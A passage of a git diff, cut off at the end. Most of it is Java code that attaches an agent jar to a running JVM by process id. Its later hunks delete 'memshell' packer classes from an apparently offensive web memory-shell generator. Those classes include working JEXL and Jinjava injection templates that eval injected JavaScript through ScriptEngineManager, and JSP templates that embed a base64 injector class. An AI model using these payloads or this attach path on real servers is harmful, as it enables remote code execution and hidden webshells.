* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||
* </p>
|
||||
*
|
||||
* @param agentJar The agent jar file.
|
||||
* @param processId The target process id.
|
||||
* @param argument The argument to provide to the agent.
|
||||
*/
|
||||
public static void attach(File agentJar, String processId, String argument) {
|
||||
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||
}
|
||||
|
||||
/**
|
||||
* Installs a Java agent on a target VM.
|
||||
*
|
||||
* @param processId The process id of the target JVM process.
|
||||
* @param argument The argument to provide to the agent.
|
||||
* @param agentProvider The agent provider for the agent jar or library.
|
||||
*/
|
||||
private static void install(String processId, String argument, AgentProvider agentProvider) {
|
||||
AttachmentProvider.Accessor attachmentAccessor = AttachmentProvider.DEFAULT.attempt();
|
||||
if (!attachmentAccessor.isAvailable()) {
|
||||
throw new IllegalStateException("No compatible attachment provider is available");
|
||||
}
|
||||
try {
|
||||
Class<?> virtualMachineType = attachmentAccessor.getVirtualMachineType();
|
||||
String agent = agentProvider.resolve().getAbsolutePath();
|
||||
Object virtualMachineInstance = virtualMachineType
|
||||
.getMethod("attach", String.class)
|
||||
.invoke(null, processId);
|
||||
try {
|
||||
virtualMachineType
|
||||
.getMethod("loadAgent", String.class, String.class)
|
||||
.invoke(virtualMachineInstance, agent, argument);
|
||||
} finally {
|
||||
virtualMachineType
|
||||
.getMethod("detach")
|
||||
.invoke(virtualMachineInstance);
|
||||
}
|
||||
} catch (RuntimeException exception) {
|
||||
throw exception;
|
||||
} catch (Exception exception) {
|
||||
throw new IllegalStateException("Error during attachment using: " + AttachmentProvider.DEFAULT, exception);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Attempts to resolve the location of the {@link Attacher} class for a self-attachment. Doing so avoids the creation of a temporary jar file.
|
||||
*
|
||||
* @return The self-resolved jar file or {@code null} if the jar file cannot be located.
|
||||
*/
|
||||
private static File trySelfResolve() {
|
||||
try {
|
||||
ProtectionDomain protectionDomain = Attacher.class.getProtectionDomain();
|
||||
if (protectionDomain == null) {
|
||||
return null;
|
||||
}
|
||||
CodeSource codeSource = protectionDomain.getCodeSource();
|
||||
if (codeSource == null) {
|
||||
return null;
|
||||
}
|
||||
URL location = codeSource.getLocation();
|
||||
if (!location.getProtocol().equals("file")) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
File file = new File(location.toURI());
|
||||
if (file.getPath().contains(AGENT_ARGUMENT_SEPARATOR)) {
|
||||
return null;
|
||||
}
|
||||
return file;
|
||||
} catch (URISyntaxException ignored) {
|
||||
return new File(location.getPath());
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider is responsible for making the Java attachment API available.
|
||||
*/
|
||||
public interface AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The default attachment provider to be used.
|
||||
*/
|
||||
AttachmentProvider DEFAULT = new Compound(ForModularizedVm.INSTANCE,
|
||||
ForJ9Vm.INSTANCE,
|
||||
ForStandardToolsJarVm.JVM_ROOT,
|
||||
ForStandardToolsJarVm.JDK_ROOT,
|
||||
ForStandardToolsJarVm.MACINTOSH,
|
||||
ForUserDefinedToolsJar.INSTANCE,
|
||||
ForEmulatedAttachment.INSTANCE);
|
||||
|
||||
/**
|
||||
* Attempts the creation of an accessor for a specific JVM's attachment API.
|
||||
*
|
||||
* @return The accessor this attachment provider can supply for the currently running JVM.
|
||||
*/
|
||||
Accessor attempt();
|
||||
|
||||
/**
|
||||
* An accessor for a JVM's attachment API.
|
||||
*/
|
||||
interface Accessor {
|
||||
|
||||
/**
|
||||
* The name of the {@code VirtualMachine} class on any OpenJDK or Oracle JDK implementation.
|
||||
*/
|
||||
String VIRTUAL_MACHINE_TYPE_NAME = "com.sun.tools.attach.VirtualMachine";
|
||||
|
||||
/**
|
||||
* The name of the {@code VirtualMachine} class on IBM J9 VMs.
|
||||
*/
|
||||
String VIRTUAL_MACHINE_TYPE_NAME_J9 = "com.ibm.tools.attach.VirtualMachine";
|
||||
|
||||
/**
|
||||
* Determines if this accessor is applicable for the currently running JVM.
|
||||
*
|
||||
* @return {@code true} if this accessor is available.
|
||||
*/
|
||||
boolean isAvailable();
|
||||
|
||||
/**
|
||||
* Returns {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||
*
|
||||
* @return {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
|
||||
*/
|
||||
boolean isExternalAttachmentRequired();
|
||||
|
||||
/**
|
||||
* Returns a {@code VirtualMachine} class. This method must only be called for available accessors.
|
||||
*
|
||||
* @return The virtual machine type.
|
||||
*/
|
||||
Class<?> getVirtualMachineType();
|
||||
|
||||
/**
|
||||
* Returns a description of a virtual machine class for an external attachment.
|
||||
*
|
||||
* @return A description of the external attachment.
|
||||
*/
|
||||
ExternalAttachment getExternalAttachment();
|
||||
|
||||
/**
|
||||
* A canonical implementation of an unavailable accessor.
|
||||
*/
|
||||
enum Unavailable implements Accessor {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isAvailable() {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isExternalAttachmentRequired() {
|
||||
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Class<?> getVirtualMachineType() {
|
||||
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public ExternalAttachment getExternalAttachment() {
|
||||
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Describes an external attachment to a Java virtual machine.
|
||||
*/
|
||||
class ExternalAttachment {
|
||||
|
||||
/**
|
||||
* The fully-qualified binary name of the virtual machine type.
|
||||
*/
|
||||
private final String virtualMachineType;
|
||||
|
||||
/**
|
||||
* The class path elements required for loading the supplied virtual machine type.
|
||||
*/
|
||||
private final List<File> classPath;
|
||||
|
||||
/**
|
||||
* Creates an external attachment.
|
||||
*
|
||||
* @param virtualMachineType The fully-qualified binary name of the virtual machine type.
|
||||
* @param classPath The class path elements required for loading the supplied virtual machine type.
|
||||
*/
|
||||
public ExternalAttachment(String virtualMachineType, List<File> classPath) {
|
||||
this.virtualMachineType = virtualMachineType;
|
||||
this.classPath = classPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the fully-qualified binary name of the virtual machine type.
|
||||
*
|
||||
* @return The fully-qualified binary name of the virtual machine type.
|
||||
*/
|
||||
public String getVirtualMachineType() {
|
||||
return virtualMachineType;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the class path elements required for loading the supplied virtual machine type.
|
||||
*
|
||||
* @return The class path elements required for loading the supplied virtual machine type.
|
||||
*/
|
||||
public List<File> getClassPath() {
|
||||
return classPath;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A simple implementation of an accessible accessor.
|
||||
*/
|
||||
abstract class Simple implements Accessor {
|
||||
|
||||
/**
|
||||
* A {@code VirtualMachine} class.
|
||||
*/
|
||||
protected final Class<?> virtualMachineType;
|
||||
|
||||
/**
|
||||
* Creates a new simple accessor.
|
||||
*
|
||||
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||
*/
|
||||
protected Simple(Class<?> virtualMachineType) {
|
||||
this.virtualMachineType = virtualMachineType;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||
* to load the {@code com.sun.tools.attach.VirtualMachine} class from the provided class loader.
|
||||
* </p>
|
||||
* <p>
|
||||
* This accessor is supposed to work on any implementation of the OpenJDK or Oracle JDK.
|
||||
* </p>
|
||||
*
|
||||
* @param classLoader A class loader that is capable of loading the virtual machine type.
|
||||
* @param classPath The class path required to load the virtual machine class.
|
||||
* @return An appropriate accessor.
|
||||
*/
|
||||
public static Accessor of(ClassLoader classLoader, File... classPath) {
|
||||
try {
|
||||
return new WithExternalAttachment(Class.forName(VIRTUAL_MACHINE_TYPE_NAME,
|
||||
false,
|
||||
classLoader), Arrays.asList(classPath));
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
return Unavailable.INSTANCE;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Creates an accessor by reading the process id from the JMX runtime bean and by attempting
|
||||
* to load the {@code com.ibm.tools.attach.VirtualMachine} class from the provided class loader.
|
||||
* </p>
|
||||
* <p>
|
||||
* This accessor is supposed to work on any implementation of IBM's J9.
|
||||
* </p>
|
||||
*
|
||||
* @return An appropriate accessor.
|
||||
*/
|
||||
public static Accessor ofJ9() {
|
||||
try {
|
||||
return new WithExternalAttachment(ClassLoader.getSystemClassLoader().loadClass(VIRTUAL_MACHINE_TYPE_NAME_J9),
|
||||
Collections.<File>emptyList());
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
return Unavailable.INSTANCE;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isAvailable() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Class<?> getVirtualMachineType() {
|
||||
return virtualMachineType;
|
||||
}
|
||||
|
||||
/**
|
||||
* A simple implementation of an accessible accessor that allows for external attachment.
|
||||
*/
|
||||
protected static class WithExternalAttachment extends Simple {
|
||||
|
||||
/**
|
||||
* The class path required for loading the virtual machine type.
|
||||
*/
|
||||
private final List<File> classPath;
|
||||
|
||||
/**
|
||||
* Creates a new simple accessor that allows for external attachment.
|
||||
*
|
||||
* @param virtualMachineType The {@code com.sun.tools.attach.VirtualMachine} class.
|
||||
* @param classPath The class path required for loading the virtual machine type.
|
||||
*/
|
||||
public WithExternalAttachment(Class<?> virtualMachineType, List<File> classPath) {
|
||||
super(virtualMachineType);
|
||||
this.classPath = classPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isExternalAttachmentRequired() {
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public ExternalAttachment getExternalAttachment() {
|
||||
return new ExternalAttachment(virtualMachineType.getName(), classPath);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A simple implementation of an accessible accessor that attaches using a virtual machine emulation that does not require external attachment.
|
||||
*/
|
||||
protected static class WithDirectAttachment extends Simple {
|
||||
|
||||
/**
|
||||
* Creates a new simple accessor that implements direct attachment.
|
||||
*
|
||||
* @param virtualMachineType A {@code VirtualMachine} class.
|
||||
*/
|
||||
public WithDirectAttachment(Class<?> virtualMachineType) {
|
||||
super(virtualMachineType);
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean isExternalAttachmentRequired() {
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public ExternalAttachment getExternalAttachment() {
|
||||
throw new IllegalStateException("Cannot apply external attachment");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the attach API directly from the system class loader, as possible since
|
||||
* introducing the Java module system via the {@code jdk.attach} module.
|
||||
*/
|
||||
enum ForModularizedVm implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
return Accessor.Simple.of(ClassLoader.getSystemClassLoader());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the attach API directly from the system class loader expecting
|
||||
* an IBM J9 VM.
|
||||
*/
|
||||
enum ForJ9Vm implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
return Accessor.Simple.ofJ9();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that is dependant on the existence of a <i>tools.jar</i> file on the local
|
||||
* file system.
|
||||
*/
|
||||
enum ForStandardToolsJarVm implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the <i>tools.jar</i> from a Java home directory.
|
||||
*/
|
||||
JVM_ROOT("../lib/tools.jar"),
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the <i>tools.jar</i> from a Java installation directory.
|
||||
* In practice, several virtual machines do not return the JRE's location for the
|
||||
* <i>java.home</i> property against the property's specification.
|
||||
*/
|
||||
JDK_ROOT("lib/tools.jar"),
|
||||
|
||||
/**
|
||||
* An attachment provider that locates the <i>tools.jar</i> as it is set for several JVM
|
||||
* installations on Apple Macintosh computers.
|
||||
*/
|
||||
MACINTOSH("../Classes/classes.jar");
|
||||
|
||||
/**
|
||||
* The Java home system property.
|
||||
*/
|
||||
private static final String JAVA_HOME_PROPERTY = "java.home";
|
||||
|
||||
/**
|
||||
* The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||
*/
|
||||
private final String toolsJarPath;
|
||||
|
||||
/**
|
||||
* Creates a new attachment provider that loads the virtual machine class from the <i>tools.jar</i>.
|
||||
*
|
||||
* @param toolsJarPath The path to the <i>tools.jar</i> file, starting from the Java home directory.
|
||||
*/
|
||||
ForStandardToolsJarVm(String toolsJarPath) {
|
||||
this.toolsJarPath = toolsJarPath;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
File toolsJar = new File(System.getProperty(JAVA_HOME_PROPERTY), toolsJarPath);
|
||||
try {
|
||||
return toolsJar.isFile() && toolsJar.canRead()
|
||||
? Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar)
|
||||
: Accessor.Unavailable.INSTANCE;
|
||||
} catch (MalformedURLException exception) {
|
||||
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that attempts to locate a {@code tools.jar} from a custom location set via a system property.
|
||||
*/
|
||||
enum ForUserDefinedToolsJar implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The singelton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* The property being read for locating {@code tools.jar}.
|
||||
*/
|
||||
public static final String PROPERTY = "net.bytebuddy.agent.toolsjar";
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
String location = System.getProperty(PROPERTY);
|
||||
if (location == null) {
|
||||
return Accessor.Unavailable.INSTANCE;
|
||||
} else {
|
||||
File toolsJar = new File(location);
|
||||
try {
|
||||
return Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar);
|
||||
} catch (MalformedURLException exception) {
|
||||
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment provider that uses Byte Buddy's attachment API emulation. To use this feature, JNA is required.
|
||||
*/
|
||||
enum ForEmulatedAttachment implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
try {
|
||||
return new Accessor.Simple.WithDirectAttachment(VirtualMachine.Resolver.INSTANCE.get());
|
||||
} catch (Throwable ignored) {
|
||||
return Accessor.Unavailable.INSTANCE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A compound attachment provider that attempts the attachment by delegation to other providers. If
|
||||
* none of the providers of this compound provider is capable of providing a valid accessor, an
|
||||
* non-available accessor is returned.
|
||||
*/
|
||||
class Compound implements AttachmentProvider {
|
||||
|
||||
/**
|
||||
* A list of attachment providers in the order of their application.
|
||||
*/
|
||||
private final List<AttachmentProvider> attachmentProviders;
|
||||
|
||||
/**
|
||||
* Creates a new compound attachment provider.
|
||||
*
|
||||
* @param attachmentProvider A list of attachment providers in the order of their application.
|
||||
*/
|
||||
public Compound(AttachmentProvider... attachmentProvider) {
|
||||
this(Arrays.asList(attachmentProvider));
|
||||
}
|
||||
|
||||
/**
|
||||
* Creates a new compound attachment provider.
|
||||
*
|
||||
* @param attachmentProviders A list of attachment providers in the order of their application.
|
||||
*/
|
||||
public Compound(List<? extends AttachmentProvider> attachmentProviders) {
|
||||
this.attachmentProviders = new ArrayList<AttachmentProvider>();
|
||||
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||
if (attachmentProvider instanceof Compound) {
|
||||
this.attachmentProviders.addAll(((Compound) attachmentProvider).attachmentProviders);
|
||||
} else {
|
||||
this.attachmentProviders.add(attachmentProvider);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public Accessor attempt() {
|
||||
for (AttachmentProvider attachmentProvider : attachmentProviders) {
|
||||
Accessor accessor = attachmentProvider.attempt();
|
||||
if (accessor.isAvailable()) {
|
||||
return accessor;
|
||||
}
|
||||
}
|
||||
return Accessor.Unavailable.INSTANCE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A process provider is responsible for providing the process id of the current VM.
|
||||
*/
|
||||
public interface ProcessProvider {
|
||||
|
||||
/**
|
||||
* Resolves a process id for the current JVM.
|
||||
*
|
||||
* @return The resolved process id.
|
||||
*/
|
||||
String resolve();
|
||||
|
||||
/**
|
||||
* Supplies the current VM's process id.
|
||||
*/
|
||||
enum ForCurrentVm implements ProcessProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* The best process provider for the current VM.
|
||||
*/
|
||||
private final ProcessProvider dispatcher;
|
||||
|
||||
/**
|
||||
* Creates a process provider that supplies the current VM's process id.
|
||||
*/
|
||||
ForCurrentVm() {
|
||||
dispatcher = ForJava9CapableVm.make();
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public String resolve() {
|
||||
return dispatcher.resolve();
|
||||
}
|
||||
|
||||
/**
|
||||
* A process provider for a legacy VM that reads the process id from its JMX properties. This strategy
|
||||
* is only used prior to Java 9 such that the <i>java.management</i> module never is resolved, even if
|
||||
* the module system is used, as the module system was not available in any relevant JVM version.
|
||||
*/
|
||||
protected enum ForLegacyVm implements ProcessProvider {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public String resolve() {
|
||||
String runtimeName;
|
||||
try {
|
||||
Method method = Class.forName("java.lang.management.ManagementFactory").getMethod("getRuntimeMXBean");
|
||||
runtimeName = (String) method.getReturnType().getMethod("getName").invoke(method.invoke(null));
|
||||
} catch (Exception exception) {
|
||||
throw new IllegalStateException("Failed to access VM name via management factory", exception);
|
||||
}
|
||||
int processIdIndex = runtimeName.indexOf('@');
|
||||
if (processIdIndex == -1) {
|
||||
throw new IllegalStateException("Cannot extract process id from runtime management bean");
|
||||
} else {
|
||||
return runtimeName.substring(0, processIdIndex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A process provider for a Java 9 capable VM with access to the introduced process API.
|
||||
*/
|
||||
protected static class ForJava9CapableVm implements ProcessProvider {
|
||||
|
||||
/**
|
||||
* The {@code java.lang.ProcessHandle#current()} method.
|
||||
*/
|
||||
private final Method current;
|
||||
|
||||
/**
|
||||
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||
*/
|
||||
private final Method pid;
|
||||
|
||||
/**
|
||||
* Creates a new Java 9 capable dispatcher for reading the current process's id.
|
||||
*
|
||||
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||
*/
|
||||
protected ForJava9CapableVm(Method current, Method pid) {
|
||||
this.current = current;
|
||||
this.pid = pid;
|
||||
}
|
||||
|
||||
/**
|
||||
* Attempts to create a dispatcher for a Java 9 VM and falls back to a legacy dispatcher
|
||||
* if this is not possible.
|
||||
*
|
||||
* @return A dispatcher for the current VM.
|
||||
*/
|
||||
public static ProcessProvider make() {
|
||||
try {
|
||||
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||
} catch (Exception ignored) {
|
||||
return ForLegacyVm.INSTANCE;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public String resolve() {
|
||||
try {
|
||||
return pid.invoke(current.invoke(null)).toString();
|
||||
} catch (IllegalAccessException exception) {
|
||||
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||
} catch (InvocationTargetException exception) {
|
||||
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An agent provider is responsible for handling and providing the jar file of an agent that is being attached.
|
||||
*/
|
||||
protected interface AgentProvider {
|
||||
|
||||
/**
|
||||
* Provides an agent jar file for attachment.
|
||||
*
|
||||
* @return The provided agent.
|
||||
* @throws IOException If the agent cannot be written to disk.
|
||||
*/
|
||||
File resolve() throws IOException;
|
||||
|
||||
/**
|
||||
* An agent provider that supplies an existing agent that is not deleted after attachment.
|
||||
*/
|
||||
class ForExistingAgent implements AgentProvider {
|
||||
|
||||
/**
|
||||
* The supplied agent.
|
||||
*/
|
||||
private final File agent;
|
||||
|
||||
/**
|
||||
* Creates an agent provider for an existing agent.
|
||||
*
|
||||
* @param agent The supplied agent.
|
||||
*/
|
||||
protected ForExistingAgent(File agent) {
|
||||
this.agent = agent;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public File resolve() {
|
||||
return agent;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment evaluator is responsible for deciding if an agent can be attached from the current process.
|
||||
*/
|
||||
protected interface AttachmentTypeEvaluator {
|
||||
|
||||
/**
|
||||
* Checks if the current VM requires external attachment for the supplied process id.
|
||||
*
|
||||
* @param processId The process id of the process to which to attach.
|
||||
* @return {@code true} if the current VM requires external attachment for the supplied process.
|
||||
*/
|
||||
boolean requiresExternalAttachment(String processId);
|
||||
|
||||
/**
|
||||
* An installation action for creating an attachment type evaluator.
|
||||
*/
|
||||
enum InstallationAction implements PrivilegedAction<AttachmentTypeEvaluator> {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* The OpenJDK's property for specifying the legality of self-attachment.
|
||||
*/
|
||||
private static final String JDK_ALLOW_SELF_ATTACH = "jdk.attach.allowAttachSelf";
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public AttachmentTypeEvaluator run() {
|
||||
try {
|
||||
if (Boolean.getBoolean(JDK_ALLOW_SELF_ATTACH)) {
|
||||
return Disabled.INSTANCE;
|
||||
} else {
|
||||
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
|
||||
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
return Disabled.INSTANCE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment type evaluator that never requires external attachment.
|
||||
*/
|
||||
enum Disabled implements AttachmentTypeEvaluator {
|
||||
|
||||
/**
|
||||
* The singleton instance.
|
||||
*/
|
||||
INSTANCE;
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean requiresExternalAttachment(String processId) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* An attachment type evaluator that checks a process id against the current process id.
|
||||
*/
|
||||
class ForJava9CapableVm implements AttachmentTypeEvaluator {
|
||||
|
||||
/**
|
||||
* The {@code java.lang.ProcessHandle#current()} method.
|
||||
*/
|
||||
private final Method current;
|
||||
|
||||
/**
|
||||
* The {@code java.lang.ProcessHandle#pid()} method.
|
||||
*/
|
||||
private final Method pid;
|
||||
|
||||
/**
|
||||
* Creates a new attachment type evaluator.
|
||||
*
|
||||
* @param current The {@code java.lang.ProcessHandle#current()} method.
|
||||
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
|
||||
*/
|
||||
protected ForJava9CapableVm(Method current, Method pid) {
|
||||
this.current = current;
|
||||
this.pid = pid;
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
*/
|
||||
public boolean requiresExternalAttachment(String processId) {
|
||||
try {
|
||||
return pid.invoke(current.invoke(null)).toString().equals(processId);
|
||||
} catch (IllegalAccessException exception) {
|
||||
throw new IllegalStateException("Cannot access Java 9 process API", exception);
|
||||
} catch (InvocationTargetException exception) {
|
||||
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
-2887
File diff suppressed because it is too large
Load Diff
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jexl;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JEXLPacker implements Packer {
|
||||
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jinjava;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/30
|
||||
*/
|
||||
public class JinJavaPacker implements Packer {
|
||||
String template = "{{ ''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval(''.getClass().forName('java.io.StringReader').getConstructors()[0].newInstance('{{script}}')) }}";
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
-34
@@ -1,34 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class ClassLoaderJspPacker implements Packer {
|
||||
|
||||
String jspTemplate = null;
|
||||
|
||||
public ClassLoaderJspPacker() {
|
||||
try {
|
||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
-41
@@ -1,41 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.packer.jsp;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class DefineClassJspPacker implements Packer {
|
||||
|
||||
String template = null;
|
||||
String bypassTemplate = null;
|
||||
|
||||
public DefineClassJspPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
|
||||
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
